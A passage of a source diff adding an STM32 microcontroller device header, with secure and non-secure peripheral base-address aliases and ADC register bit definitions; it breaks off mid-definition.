+#define GPIOH_BASE GPIOH_BASE_S + + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + + + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define 